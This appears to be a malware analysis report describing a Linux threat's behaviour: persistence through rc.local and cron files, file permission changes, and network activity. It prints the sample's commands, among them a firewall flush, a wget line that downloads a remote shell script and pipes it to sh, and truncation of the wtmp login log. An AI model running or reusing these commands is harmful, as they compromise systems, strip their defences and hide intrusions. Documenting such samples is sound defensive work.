Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/rc.local
- /etc/cron.hourly/0
- /etc/cron.daily/0
- /etc/cron.weekly/0
- /etc/cron.monthly/0
Malicious functions:
Modifies firewall settings:
- iptables -F
Launches processes:
- sh -c iptables -F >/dev/null 2>&1 ; wget --quiet http://m247.ltd:36663/..lolthats/unfortunate.sh -O- 2>/dev/null|sh >/dev/null 2>&1
- sh
- wget --quiet http://m247.ltd:36663/..lolthats/unfortunate.sh -O-
- chmod +x /etc/rc.local
- chmod +x /etc/cron.hourly/0
- chmod +x /etc/cron.daily/0
- chmod +x /etc/cron.weekly/0
- chmod 777 /etc/cron.monthly/0
- head -c -384 /var/log/wtmp
- mv .wtmp /var/log/wtmp
- chmod 664 /var/log/wtmp
- chown root:utmp /var/log/wtmp
Performs operations with the file system:
Modifies file access rights:
- /etc/rc.local
- /etc/cron.hourly/0
- /etc/cron.daily/0
- /etc/cron.weekly/0
- /etc/cron.monthly/0
- /var/log/wtmp
Creates or modifies files:
- /.wtmp
- /root/.wtmp
Network activity:
Establishes connection:
- <LOCAL_DNS_SERVER>
HTTP GET requests:
- m2##.#######63/..lolthats/unfortunate.sh
DNS ASK:
- m2##.ltd